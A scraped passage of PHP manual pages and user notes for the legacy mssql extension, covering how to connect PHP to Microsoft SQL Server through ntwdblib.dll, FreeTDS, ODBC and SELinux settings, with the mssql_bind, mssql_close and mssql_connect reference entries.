At first the php_mssql.dll didn't load properly (wan't showing up under phpinfo()) and gave no error message at startup, the cause of this was the ntwdblib.dll that came with php (273KB) replacing it with the one that came with MS SQL 2005 (269KB) fixed the issuse, incase you haven't installed MS SQL on your machine you can also find it on the net.
php at scrunch dot net 19-Sep-2006 06:36
With WinXP client, connecting to SQL Server 2005, via PHP on the command line (CLI).

If the serverr was installed with support for multiple instances, you can not connect to it, even when attempting to connect to the default instance.

Replace the ntwdblib.dll (7.00.839) provided by PHP with the one from SQL Server 2000 (8.00.194).

Otherwise you will see this message, which is not very helpful:
Warning: mssql_connect(): Unable to connect to server: ...
Bart 22-May-2006 06:46
Another helpful hint in regards to SQL Server 2005 Express:

Make sure your SQL Server is set to  "SQL Server and Windows Authentication mode". By default it is NOT.

1) Open "SQL Server Management Studio Express"
2) Right-click server ("machinename\sqlexpress") and select "Properties".
3) Select "Security"
4) Select "SQL Server and Windows Authentication mode"
5) Restart SQL Server.
phil at hilands dot c-spam-om 19-May-2006 11:13
mssql.datetimeconvert

using freebsd and freetds I ran into the dates month being rolled back
01 jan would be 00
12 dec would be 11 nov

removed
ini_set('mssql.datetimeconvert',false);
default setting is to 1 or true on the servers config
and the date issue I ran into was resolved

I don't know how the mssql.datetimeconvert setting works but if you're getting a roll back in dates might be worth making sure its on.

using ini_get when dealing with scripts that like to modify ini settings will save a headache if you use phpinfo() like me

*side note with the same settings in freetds php apache etc on a debian load I didn't have this issue even with mssql.datetimeconvert off
thnkloud9 at aol dot com 02-Mar-2006 10:54
I had major latency problems with DB connections using php_mssql.dll without the client tools.  I found that by default it was using TCP/IP as the default connection method.   Installing the SQL Server client tools and using the Client Network Utility to change my settings to use named pipes resolved this issue.  You can use the Client Utility to set up a named pipes server alias and reference that in your connect string.
erwin_nospam_moller at xs4all dot nl 06-Oct-2005 01:43
php5isapi / w2000 / ISS5

If you use the above configuration (isapi) and follow the suggestion to deselect 'cache isapi application' to avoid 100% processor usage, you might end up with an oocasional error:

The remote procedure call failed and did not execute.

It happened to me every third visit to the same page.
RE-enabling caching resolved the issue.

M$ has an article about this in their knowledgebase, stating that this option should always be selected and is only there for developmentpurposes. (undocumented feature. :P)

Deselecting this option forces IIS to reload ALL relevant dll's every time a request is received in memory, also VB/ASP.
Erick Robertson 20-Aug-2005 03:58
Some helpful functions.  Pretty simple, but very useful.

<?php
function mssql_begin_transaction() {
  mssql_query("BEGIN TRANSACTION");
}

function mssql_commit() {
  mssql_query("COMMIT");
}

function mssql_rollback() {
  mssql_query("ROLLBACK");
}

function mssql_insert_id() {
  $id = "";

  $rs = mssql_query("SELECT @@identity AS id");
  if ($row = mssql_fetch_row($rs)) {
    $id = trim($row[0]);
  }
  mssql_free_result($rs);

  return $id;
}
?>
vangoethem at hotmail.com 10-Aug-2005 02:47
I had problems related to VARCHAR limitation to 255 characters (INSERT/UPDATE works, SELECT was truncated) using freetds driver (Linux platform).

By upgrading the TDS protocol to 8.0 (see freetds config file), I fixed the problem.
hbzxc at 126 dot com 27-Jun-2005 11:14
I am trying to connect to SQL Server 2000 from PHP
I bumped to following warning:
Warning: mssql_connect(): Unable to connect to server: SERVER\Portal
....... on line 5

on line 5 there is:
$db_connect = mssql_connect('SERVER\Portal', 'sa', 'my_passwd');

I did the following
1.enabled php_mssql.dll extension in PHP.ini
2.every dll is in proper place(System32 or PHP folder),including ntwdblib.dll

I search lots of profile throught web ,but no one give me proper answer to resolve it.

after a few hour ,I found the problem was caused by
ntwdblib.dll ,which version is 7.00.839 ,when I replaced old ntwdblib.dll with the new ntwdblib.dll ,which version is 8.00.194 ,all problem are solved.
cmeerbeek[at]ymor[.]nl 13-May-2005 10:32
We had some, read A LOT, of problems with MSSQL under Windows 2003.
We had 2 the same windows, php, php-ini, everything machines but only one could connect. Unable to connect was the error message.

Finnaly we checked the version of ntwdblib.dll and the one distributed with PHP was 7.00.... and the version of the one on the SQL Server install was 8.00.... so we copied this one in the php and apache dir and it worked.
boonkit at gmail dot com 29-Mar-2005 10:29
If you are having problems with freeTDS when trying to get access to unicode data from mssql, set 'tds version =7.0' at etc/freetds.conf
tony 23-Mar-2005 04:51
With PHP 5 on a Windows 2000/IIS platform:

I have integrated authentication enabled in IIS.  I kept getting CGI timeouts on PHP pages for everyone but local administrators of the box.  The event log showed that PHP could not load php_mssql.dll, php_oci8.dll, and php_oracle.dll - 'Access Denied.'

These extensions were executable by everyone, but the DLLs they depend on were not.  Had to add exec permissions for everyone to c:\winnt\system32\ntwdblib.dll as well as the oracle bin directory.
marcel at fluidleb dot com 31-Jan-2005 07:24
I've spent the last three days wild guessing why I could not connect to MS SQLServer 2000 and so I hope this might help someone else. Microsoft has purposefully closed the 1433 tcp port and others (maybe only to external ips) of the server. You can easily check if this is the case by looking at the Event Monitor. You should see an error produced by MSSQL SERVER/MSDE that basically says what I said. It suggests downloading and installing a security patch to open up the ports (but doesn't even say which update - remember this is Microsoft).

Do download Service Pack 3a (SP3a). It does indeed fix the problem.
Salman Majid 25-Jan-2005 06:15
I was having problem in connecting Ms-SQL server with mssql_connect(srvr,uid,pwd).  I used odbc functions to connect to Ms-SQL server. I was on a work station and server was not accessible for unknow reasons. mssql functions did not work there so I had to use odbc.  I simply created a DSN to my Database and replaced it with "server_name". i.e.

<?php mssql_connect(dsn,uid,pwd); ?>

it worked well
hbinduni at hslprpol dot com 20-Dec-2004 09:15
i found http://odbtp.sourceforge.net working fast, easy to use and to configure, and yes, it's multiplatform.
marc at NOSPAM dot durdin dot net 19-Nov-2004 05:19
Buried away in the mssql_field_length documentation is an important limitation that it is certainly worth knowing about *BEFORE* you do any database design:

Note to Win32 Users: Due to a limitation in the underlying API used by PHP (MS DbLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

SQL Server natively supports VARCHAR up to 8000 characters.  Note that TEXT fields have substantially poorer performance (and are much more limited) than VARCHAR so you may want to design your databases accordingly...

You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable
ASWL 28-Oct-2004 02:55
This note is for mssql under a Windows environment.

If you are having problems connecting to MS SQL using the mssql PHP extension then I would suggest that you get a copy of the latest NTWDBLIB.DLL. Copy it to the directory where PHP expects to find it's dll files.

I had an issuse whereby I was unable to connect to a MS SQL Cluster and this resolved my problem.
Dimitri Tarassenko (mitka at mitka.us) 24-Oct-2004 09:37
To enable MS SQL functions in PHP on Fedora Core or RHEL3 without recompiling PHP and replacing the distribution PHP packages, download and install php-mssql and freetds RPMS from

http://phprpms.sf.net/mssql
mworku at yahoo dot com 03-Oct-2004 06:49
If you want to utilize the freetds.conf file db parameters within
mssql_connect() function

<?php
    putenv('FREETDSCONF=/etc/freetds.conf');

     /*
        mssql_connect('MSSQL_8.0' , 'user' , 'pwd');
        ....
        ....
    */
?>

FreeTDS conf file

 [MSSQL_8.0]
    host = 10.254.254.10
    port = 1433
    tds version = 8.0
marcos1979ar at yahoo dot com dot ar 11-Jun-2004 12:07
Red Hat 9.0   Freetds 0.62.3   Apache 2.0.49   PHP 5.0.ORC3

Instucction, that premit connect a server Linux with a server Windows 2000 Server with SQL Server.

INSTALLING FREETDS

1-.  Download freetds -> www.freetds.org
2-.  tar -zxvf freetds-stable-tgz
3-.  cd freetds-0.62.3
4-.  ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib --enable-dbmfix --with-gnu-ld

Note:  tdsver=8.0 if you use SQL 2000, tdsver=7.0 if you use SQL 7.0

5-.  make
6-.  make install
7-.  /usr/local/freetds/bin/tsql -S <ip of the server> -U <User SQL>

Note: For default User SQL is    sa     and the it have not password
For example: /usr/local/freetds/bin/tsql -S 198.168.100.2 -U sa

8-.  Add the next text in freetds.conf ( /usr/local/freetds/etc )
[TDS]
host = <ip of the Server with Sql>
port = 1433
tds version = 8.0

Note: If you use SQL 2000 then tds version = 8.0
if you use SQL 7.0 then tds version = 7.0

9-.  Add the next text in the file /etc/ld.so.conf
/usr/local/freetds/lib

INSTALLING  APACHE

1-.  Download apache  www.apache.org
2-.  tar -zxvf httpd-2.0.49.tar.gz
3-.  cd httpd-2.0.49
4-.  ./configure --prefix=/etc/httpd --enable-so
5-.  make
6-.  make install
7-.  Configure the file  -> httpd.conf ( /etc/httpd/conf/httpd.conf )
8-.  Probe the apache: /etc/httpd/bin/apachectl start
/etc/httpd/bin/apachectl stop

INSTALLING  PHP

1-.  Download the PHP in this site (www.php.net)
2-.  tar -zxvf php-5.0-ORC3.tar.gz
3-.  cd php-5.0-ORC3
4-.  ./configure --with-apxs2=/etc/httpd/bin/apxs --enable-versioning --with-mssql=/usr/local/freetds --disable-libxml
5-.  make
6-.  make install
7-.  cp php.ini-DIST /usr/local/lib
8-.  Add the next line in /etc/httpd/conf/httpd.conf
AddType application/x-httpd-php .php

TESTING

<html>
<body>
<?php
$con = mssql_connect ("<ip of the server SQL>", "sa", "");
mssql_select_db ("<Data Base>", $con);
$sql= "SELECT * FROM <Table>";
$rs= mssql_query ($sql, $con);
echo "The field number one is: ";
echo mssql_result ($rs, 0, 0);
mssql_close ($con);
?>
</body>
</html>
Asad Moin 29-May-2004 04:48
I took the following steps to make PHP talk to SQL2000:

- Copy ntwdblib.dll file from your SQL server's  \winnt\system32 folder to the \winnt\system32 folder on the PHP box.

- Copy the php_mssql.dll from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory.

- Add or uncomment the following line under Windows Extentions in your php.ini file (\winnt\php.ini): extension=php_mssql.dll

Hope that helps.
andrew at power-grid dot com 26-May-2004 09:11
Ok, this took me a few days to get right but for those of you out there having a hard time with getting PHP to talk to SQL 2000 this is for you!  Personally for me the mssql plugin barely worked with sql 2000 and was VERY slow, here's your solution and also some good code to connect securely and quickly through ADO. I was having the worst time getting ADO to work as well, most sites do the driver part a different way.. for me the code below is the only thing that worked.

<?php
$db = new COM("ADODB.Connection");
$dsn = "DRIVER={SQL Server}; SERVER={SERVER};UID={USER};PWD={PASS}; DATABASE={DB}";
$db->Open($dsn);
$rs = $db->Execute("SELECT * FROM table");

while (!$rs->EOF)
{
    echo $rs->Fields['column']->Value."<BR>";
    $rs->MoveNext();
}
?>
Arthur W Rudd 26-May-2004 08:37
I'm running apache 1.3.26 and php 4.3.6 on a linux server (debian), and connecting to SQL Server 2000 via php4-mssql and Freetds.

I managed to get a connection to the SQL server, but found that when I used the function mssql_query() to pass in a Select statement containing datetime columns, I would get the following message in Internet Explorer - "The page cannot be displayed".  When I removed the datetime column from the query, it worked fine, and returned a resultset.
Looked in the apache error.log file, and found the error "child pid xxxxxx exit signal segmentation fault".

After a lot of searching on the internet I stumbled upon an entry which was missing from my php.ini.  I added the line "mssql.datetimeconvert = Off" to the MSSQL section of pphp.ini, restarted Apache, and the problem went away.  Now I can select dates in SQL queries
jasenko at get2net dot dk 05-May-2004 08:46
If you get a crash trying to get currency from database with smallmoney datatype and big value (in my case it was 15000..), change datatype to money instead. The error is gone.

I'm using php 4.2.3 and MSSQL 7.0 on windows.
andrej at dairyweb dot com dot au 28-Apr-2004 10:49
if you are having problems with freeTDS, or like me you are trying to get access to unicode data from mssql.

try http://odbtp.sourceforge.net it is cross platform and (reportedly) faster than freeTDS. it is very stable and easy to configure.

i was originally trying to solve an error message of "Unicode data in Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier" and found this solution.

hope it helps someone.
elmer at web-axis dot net 28-Apr-2004 06:52
Here's something that could save you 2-3 days research trying to figure out:

<?php
putenv('TDSDUMP=/tmp/tds.log');
putenv('SYBASE=/usr/lib/freetds');
putenv('TDSVER=70');
?>

If you have problems getting the mssql functions to work try these varibles. MSSQL/PHP has problems dealing with different tds versions. 7.0 seems to work well with our server version, maybe a different version would work better with yours.
pmfa at versenet dot com 27-Apr-2004 06:26
If you're going to use freeTDS just to access mssql databases, supply the "--enable-msdblib" switch to the freeTDS configure script when building the library. This will fix some obscure problems, like the month in a date not being displayed correctly, more information in http://www.freetds.org/userguide/config.htm.
gentiboard2002 at yahoo dot de 19-Apr-2004 03:55
there's no documentation of the php.ini option mssql.secure_connection.

so i have here a MS SQL 2000 Server with Windows Authentication and a Windows 2003 Server with IIS 6. So it is clear that i cannot use the usual handling of a mssql_connect.
I turned the mssql.secure_connection on.
I let the Windows IIS to run under an Service Account(normal user account without any special rights) in a Windows Domain, so i do have a authenticated connection to the SQL Server...

Everything works fine without any rewrite of the code...
19-Mar-2004 09:42
Note: DBLib is obsolete and only supports SQL Server 4.x, 6.5, 7.0 and 8.x.
jholland at cs dot selu dot edu 10-Dec-2003 10:37
To enable mssql in php 4.3.3 and above on linux/unix boxes, you must put this line in php.ini

extension=mssql.so


Adds a parameter to a stored procedure or a remote stored procedure

  • « Mssql Functions
  • mssql_close »
  • PHP Manual
  • Mssql Functions
  • Adds a parameter to a stored procedure or a remote stored procedure

mssql_bind

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure

Description

bool mssql_bind ( resource $stmt , string $param_name , mixed &$var , int $type [, bool $is_output = false [, bool $is_null = false [, int $maxlen = -1 ]]] )

Binds a parameter to a stored procedure or a remote stored procedure.

Parameters

stmt

Statement resource, obtained with mssql_init().

param_name

The parameter name, as a string.

Note:

You have to include the @ character, like in the T-SQL syntax. See the explanation included in mssql_execute().

var

The PHP variable you'll bind the MSSQL parameter to. It is passed by reference, to retrieve OUTPUT and RETVAL values after the procedure execution.

type

One of: SQLTEXT, SQLVARCHAR, SQLCHAR, SQLINT1, SQLINT2, SQLINT4, SQLBIT, SQLFLT4, SQLFLT8, SQLFLTN.

is_output

Whether the value is an OUTPUT parameter or not. If it's an OUTPUT parameter and you don't mention it, it will be treated as a normal input parameter and no error will be thrown.

is_null

Whether the parameter is NULL or not. Passing the NULL value as var will not do the job.

maxlen

Used with char/varchar values. You have to indicate the length of the data so if the parameter is a varchar(50), the type must be SQLVARCHAR and this value 50.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_bind() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Create a new stored prodecure
$stmt = mssql_init('NewUserRecord');

// Bind the field names
mssql_bind($stmt, '@username',  'Kalle',  SQLVARCHAR,  false,  false,  60);
mssql_bind($stmt, '@name',      'Kalle',  SQLVARCHAR,  false,  false,  60);
mssql_bind($stmt, '@age',       19,       SQLINT1,     false,  false,   3);

// Execute
mssql_execute($stmt);

// Free statement
mssql_free_statement($stmt);
?>

See Also

  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_free_statement() - Free statement memory
  • mssql_init() - Initializes a stored procedure or a remote stored procedure

User Contributed Notes

blenau at gmail dot com 27-Aug-2013 12:52
The actual way to bind datetime variables to is by using a SQLVARCHAR with a date variable of the form date('Y-m-d H:i:s);

<?php
    ...
    $date = date('Y-m-d H:i:s');
    mssql_bind($stmt, "@Date", $date, SQLVARCHAR);
?>
asimonassi 17-Jun-2011 04:51
In order to bind DATETIME, i suggest to convert the date to double, then use SQLFLT8 instead of SQLVARCHAR.

In SQL Server Datetime is a standard double. The integer part represent the number of days since 1-1-1900 and the fractional part represent the fraction of the day (e.g: 0.5 means noon, 0.75 means 6 PM).

Using SQLVARCHAR may lead to errors depending on the local server config.

<?php
function PhpTimeToOLEDateTime($timestamp)
{
        $a_date = getdate ($timestamp);
        $year= $a_date['year']; //this year
        $partial_days = ($year-1900)*365;//days elapsed since 1-1-1900
        //let's calculate how many 29 february from 1900 to first day on this year
        $partial_days +=(int)(($year-1) / 4); //each 4 years a leap year since year 0
        $partial_days -= (int)(($year-1) / 100); //each 100 years skip a leap
        $partial_days += (int)(($year-1) / 400); //each 400 years add a leap
        $partial_days -= 460; //459 leap years before 1900 + 1 for math (year 0 does not exist)
        $partial_days += $a_date['yday'];

        $seconds = $a_date['hours'] * 3600;
        $seconds += $a_date['minutes'] * 60;
        $seconds += $a_date['seconds'];

        $d = (double) $partial_days;
        $d +=  ((double)$seconds)/86400.0;

        return $d;
}
?>

Sample binding

<?php
$now = PhpTimeToOLEDateTime(time());
mssql_bind($proc, "@dateparam", $now, SQLFLT8, false);
?>
alvaro at demogracia dot com 24-Nov-2009 12:12
There isn't a bind function for regular SQL queries; not even a escape function. I found this nice piece of code:

<?php
function mssql_escape($data) {
    if(is_numeric($data))
        return $data;
    $unpacked = unpack('H*hex', $data);
    return '0x' . $unpacked['hex'];
}
?>

http://stackoverflow.com/questions/574805/
Anonymous 17-Nov-2009 07:35
I found SQLVARCHAR better for datetime.

It was performing some other non-strtotime() convertions when it was set to SQLINT4
valerio dot della-porta dot com 22-Apr-2009 11:00
Use:
SQLVARCHAR for binary
SQLINT4 for datetime
SQLFLT8 for decimal
SQLVARCHAR for image
SQLFLT8 for money
SQLCHAR for nchar
SQLTEXT for ntext
SQLFLT8 for numeric
SQLVARCHAR for nvarchar
SQLFLT8 for real
SQLINT4 for smalldatetime
SQLFLT8 for smallmoney
SQLVARCHAR for sql_variant
SQLINT4 for timestamp
SQLVARCHAR for varbinary
Anonymous 25-Jan-2009 02:08
<?php
//IP Address, if instance then IP\Instance
$server = 'a.b.c.d';
$link = mssql_connect($server, 'sql_user', 'sql_user_pass');

//Select DB
$dbn = 'dbName';
mssql_select_db($dbn);

//Define Procedure
$lala = 'tstProc';
$proc = mssql_init($lala, $link);

//Define Parameters
$parm1 = 'one';
$parm2 = 'two';
$parm3 = 'three';

//Load Parameters
mssql_bind($proc, '@num', $parm1, SQLCHAR, false, false, 10);
mssql_bind($proc, '@naamen', $parm2, SQLCHAR, false, false, 10);
mssql_bind($proc, '@desci', $parm3, SQLCHAR, false, false, 10);

//Execute Procedure
mssql_execute($proc);

//Free Memory
mssql_free_statement($proc);

//...and whenever the wolf did howl, all the sheep had to do was bleat!
?>
Anonymous 08-Jun-2008 07:52
for type :

SQLCHAR     DBCHAR
SQLVARCHAR     DBCHAR
SQLTEXT     DBCHAR
SQLBINARY     DBBINARY
SQLVARBINARY     DBBINARY
SQLIMAGE     DBBINARY
SQLINT1     DBTINYINT
SQLINT2     DBSMALLINT
SQLINT4     DBINT
SQLFLT4     DBFLT4
SQLFLT8     DBFLT8
SQLBIT     DBBIT
SQLMONEY4     DBMONEY4
SQLMONEY     DBMONEY
SQLDATETIM4     DBDATETIM4
SQLDATETIME     DBDATETIME
SQLDECIMAL     DBDECIMAL
SQLNUMERIC     DBNUMERIC

source : http://msdn.microsoft.com/en-us/library/aa937008(SQL.80).aspx
daryl dot mitchell at usask dot ca 05-Dec-2007 06:56
I had the same problem but the posted solution above just produced null results.  Here's a modification that ended up working:

#THIS SUCCEEDS, USES A REFERENCE
mssql_bind($proc, '@'.$key, $sp_parms[$key], SQLVARCHAR)
or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
fheald at buzztime dot com 06-Aug-2007 09:27
mssql_bind binds by reference, not by value, even on input parameters.  Improper binding can cause strange errors; in my case "Error converting data type varchar to int"

--SAMPLE STORED PROCEDURE
CREATE Procedure [dbo].[myproc]
(
    @one VARCHAR(10) = 'n1',
    @two VARCHAR(10) = 'n2',
    @three VARCHAR(10) = 'n3',
    @four VARCHAR(10) = 'n4',
    @five VARCHAR(10) = 'n5'
)
AS
BEGIN
SET NOCOUNT ON;

SELECT
    @one AS 'one',
    @two AS 'two',
    @three AS 'three',
    @four AS 'four',
    @five AS 'five'
END

//SAMPLE PHP CALL
$sp_name = 'mydb.dbo.myproc';
$proc = mssql_init($sp_name);
$sp_parms->one = 'one';
$sp_parms->two = 'two';
$sp_parms->three = 'three';

foreach ($sp_parms as $key=>$parm) {
    #THIS FAILS, because it's binding values!
    #mssql_bind($proc, '@'.$key, $parm, SQLVARCHAR)
    #    or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
    #THIS SUCCEEDS, USES A REFERENCE
    mssql_bind($proc, '@'.$key, $sp_parms->$key, SQLVARCHAR)
        or die("Unable to bind $sp_name:$key<br>".mssql_get_last_message());
}


Close MS SQL Server connection

  • « mssql_bind
  • mssql_connect »
  • PHP Manual
  • Mssql Functions
  • Close MS SQL Server connection

mssql_close

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_close — Close MS SQL Server connection

Description

bool mssql_close ([ resource $link_identifier ] )

Closes the link to a MS SQL Server database that's associated with the specified link identifier. If the link identifier isn't specified, the last opened link is assumed.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

Parameters

link_identifier

A MS SQL link identifier, returned by mssql_connect().

This function will not close persistent links generated by mssql_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_close() example

<?php
// Connect to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Do any related operations here

// Close the link to MSSQL
mssql_close($link);
?>

See Also

  • mssql_connect() - Open MS SQL server connection
  • mssql_pconnect() - Open persistent MS SQL connection

User Contributed Notes

There are no user contributed notes for this page.


Open MS SQL server connection

  • « mssql_close
  • mssql_data_seek »
  • PHP Manual
  • Mssql Functions
  • Open MS SQL server connection

mssql_connect

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_connect — Open MS SQL server connection

Description

resource mssql_connect ([ string $servername [, string $username [, string $password [, bool $new_link = false ]]]] )

mssql_connect() establishes a connection to a MS SQL server.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling mssql_close().

Parameters

servername

The MS SQL server. It can also include a port number, e.g. hostname:port (Linux), or hostname,port (Windows).

username

The username.

password

The password.

new_link

If a second call is made to mssql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. This parameter modifies this behavior and makes mssql_connect() always open a new link, even if mssql_connect() was called before with the same parameters.

Return Values

Returns a MS SQL link identifier on success, or FALSE on error.

Changelog

Version | Description
5.1.0 | The new_link parameter was added

Examples

Example #1 mssql_connect() example

<?php
// Server in the this format: <computer>\<instance name> or
// <server>,<port> when using a non default port number
$server = 'KALLESPC\SQLEXPRESS';

// Connect to MSSQL
$link = mssql_connect($server, 'sa', 'phpfi');

if (!$link) {
    die('Something went wrong while connecting to MSSQL');
}
?>

See Also

  • mssql_close() - Close MS SQL Server connection
  • mssql_pconnect() - Open persistent MS SQL connection

User Contributed Notes

parikhnirav dot aits at gmail dot com 10-Mar-2013 06:36
Cent OS - Remote SQL server connection
$link = mssql_connect(72.xx.xxx.xxx, username, password);

If you are not getting success, please check

There is certainly a php-mssql package available in the extras repository so just a `yum install php-mssql` should sort that out - it pulls in freetds as a dependency too. If you already have those installed but it doesn't seem to be connecting, the one possibility is that you are being blocked by SELinux. To check that run

# getsebool -a | grep httpd_can_network_connect
httpd_can_network_connect --> on
httpd_can_network_connect_db --> on

and to enable them if they are not on, do

setsebool -P httpd_can_network_connect 1
setsebool -P httpd_can_network_connect_db 1

taken from
https://www.centos.org/modules/newbb/print.php?form=1&topic_id=29646&forum=38&order=DESC&start=0
herrwil at gmail dot com 30-Nov-2011 08:42
The following method: server\instance
does'nt work on unix systems...

An instance is nothing more than specific port address different than 1433... so just discover the port on mssql server and then try to connect using:

ip:port

In unix the port is specified by : not by ,
benjamin at mysteriousquilt dot se 29-Jul-2011 04:02
If someone encounters the interesting problem in which PHP can connect to a MSSQL server from the command line but not when running as an Apache module: SELinux prevents Apache (and therefore all Apache modules) from making remote connections by default.

This solved the problem in CentOS:
# setsebool -P httpd_can_network_connect=1
ben at adworkshop dot com 03-Jun-2011 02:15
Connecting to a named instance of MSSQL.
Our environment is a Windows 2003 server.
Connecting to a dedicated MSSQL server running two instances of SQL SERVER 2005. The default instance and then a second named instance.
My issue was in finding the syntax to properly identify the port of the named instance server.
I found the answer finally in this thread, where a comma is used to separate the IP and PORT number.

So, the code:

mssql_connect('192.0.0.0,3456','USERNAME','PASSWORD');

In this case we used the internal IP of the server, followed by the static port number assigned to the named instance, in this example 3456. The port number can be dynamic or static, obviously choosing static is the route to take.

Hope this helps someone!
me at pazuzusfate dot de 23-Sep-2010 10:38
I didn't get it working with PHP 5.2.9 and MS SQL 2008, so I used this article http://msdn.microsoft.com/en-us/library/cc793139(SQL.90).aspx and with SQL login (not Windows authentication!) it works fine!
Sarke 11-Sep-2010 01:18
By far the easiest way that I've found to connect to a SQL server is to route it through a ODBC connection.

1. Administrative Tools -> Data Sources (ODBC)
2. System DNS
3. Add... "SQL Server"

Then just use odbc_connect("sql_test", "user", "pass") instead.
aksingh at netlink dot com 08-Sep-2010 01:19
I added to registry following entry:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ MSSQLServer\Client\ConnectTo] (strip space)
"DSQUERY"="DBNETLIB"

It worked! Just specify servername in form "host" or "host,port". I successfully connected to remote MSSQL7 and MSSQL2000.
pgeier AT international-capital DOTcom 04-Jul-2010 08:25
If you have an application which requires MSSQL as interface (and not the new SQLSRV) you have to look for an alternative method. The old (now rightly unsupported) way from Microsoft does not work with PHP 5.3.
After spending several days and nights with trying to connect
here is an easy solution which worked great with all applicatins expecting mssql: FreeTDS for Windows. Here is a great how to with installer links on the Moodle site: http://docs.moodle.org/en/Installing_MSSQL_for_PHP

Couple of hints:
- Make sure you have set up a user with "SQL SERVER authentication" who has rights to connect.
- Also make sure after you install and still have problems to run PHPinfo and check that you find the below:

PHPINFO: mssql
MSSQL Support enabled
...
Library version  FreeTDS

That works perfect for me on Windows 2003 with IIS6 and PHP 5.3 (non threadsafe, VC9).
Hope this is helpful
dju @ work 01-Mar-2010 03:11
On a windows 2000 server, i have php 2.6 and apache
It's been 2 days i'm trying to connect it to mssql server 2K5.
i tried everything, of course getting the last version of the sql library (ntwdblib.dll), check the permissions, the dll version etc...  but no way....
Finally, i installed the last version of MDAC 2.8
(there's an old one on win2000, even with all the updates...)
And now it works perfectly :-))
Micio2 10-Feb-2010 05:10
When you try to connect to SQL Server 2008 Express, you always have to name the instance you are trying to connect to, even if you installed SQL2008express as "Default" instance instead of named instance. If your instance is SQLExpress and server name is myServer, the server parameter must be: "myServer\SQLExpress". If you installed Default instance of Standard (not express) version of SQL2008 instead, you don't need to name the instance. To connect using TCP/IP, you need also to check server network configuration, enable TCP/IP (listen all: yes), then go to addresses tab and setup port 1433 in all addresses you want the server listen on (by default, port is blank and server don't listen). Libraries involved in TCP/IP are ntwdblib.dll and dbnetlib.dll. Have fun!
thornhawk 13-Dec-2009 11:00
After months of searching, I have discovered the most simple way of connecting Php to MS Sql Express / Enterprise:
-- Use the Microsoft SQL Server Driver for PHP! --

1) Download from http://tiny.cc/fkGzf

2) Place php_sqlsrv_ts.dll in your php extensions folder.

3) Enable php_sqlsrv_ts.dll in your php.ini -> extension=php_sqlsrv_ts.dll

4) Follow the documentation and api reference at http://msdn.microsoft.com/en-us/library/cc296152%28SQL.90%29.aspx

This works on apache, lighttpd, wampserver (haven't tested on IIS).

You no longer need to worry about the ntwdblib.dll or whether your web server is in FastCGI mode or not.

Absolutely simple and it connects straight away!

Just remember to use the correct server name: $serverName = "<computer name>\SQLEXPRESS";
kparmelee at NOSPAM dot montgomerygeneral dot com 29-Jul-2009 05:18
For my setup (Windows Server 2003, IIS 6, PHP 5.2.6, SQL Server 2005 Enterprise) the key to getting a successful connection using mssql_connect was changing PHP from ISAPI mode to FastCGI mode.

1)    I downloaded and installed FastCGI for IIS 6 from Microsoft http://www.iis.net/downloads/default.aspx?tabid=34&g=6&i=1521
2)    I modified my PHP install so it runs in FastCGI mode.
3)    Opened fcgiext.ini and added this to the end.

[Types]
php=PHP

[PHP]
ExePath=c:\PHP\php-cgi.exe
InstanceMaxRequests=10000
EnvironmentVars=PHP_FCGI_MAX_REQUESTS:10000

4)    I added cgi.force_redirect=0 to the “; Default timeout for socket based streams (seconds)” section of PHP.ini
5)    I made sure my SQL database was set to Windows authentication mode and I also switched mssql.secure_connection in php.ini to on.
6)    Created an SQL login for NT AUTHORITY\NETWORK SERVICE and gave it the appropriate permissions to my database.
7)    Rebooted the server
Iuri Jacob 17-Jun-2009 06:36
I was trying to connect to a remote SQL2000 server (located on Internet, not on the local network), then php always returned an "Unable to connect" error or something.

After waste a lot of time, by searching among foruns, blogs and logs, I finally discovered  the problem. I was monitoring the TCP connections between the server and my machine when I realized that it wasn't been done. For some reason, my Apache 2.2 was "denying" php module from doing remote connections.

So I changed the php configuration on apache to CGI mode rather than as module mode. Well, it worked fine since that.

In despite of security holes that it involves, it was the only way I've found to make that remote connection works between Apache2.2/PHP5 and MSSQL Server 2000.

Strangely, connections inside local network worked in any case (in CGI or module mode).
pesadelo at death dot fm 21-Mar-2009 11:52
Just a remind: Although it is not present here in this page, the parameter **$new_link** holds for mssql_connect() and mssql_pconnect(). The correspondent mysql functions documentation describes it though.
Anonymous 21-Mar-2009 11:50
Just a remind: Although it is not present here in this page, the parameter **$new_link** holds for mssql_connect() and mssql_pconnect(). The correspondent mysql functions documentation describes it though.
b56w 01-Mar-2009 12:08
After a great deal of testing various things I finally found a solution for connecting to a named instance of MS SQL Express.  I first had to download version 200.80.194.0 of ntwdblib.dll and overwrite the existing version in c:\PHP.  I then tried an instance name that was posted by "chop_01 at yahoo dot com" in this thread.  The instance name is ".\SQLEXPRESS".

For example:

<?php
  $dbconnect = mssql_connect(".\SQLEXPRESS", $dbUser, $dbPass);
?>
wwang at moultonlogistics dot com 02-Feb-2009 02:24
For anyone who have to connect to crappy SQL SERVER with \\computer_name\instance_name and failed to connect. There are couple of thing you need do.

1). There's no needs to install SQL client software in your app server. This would keep your server clean.
2). run cliconfg.exe setup alias in case you needed
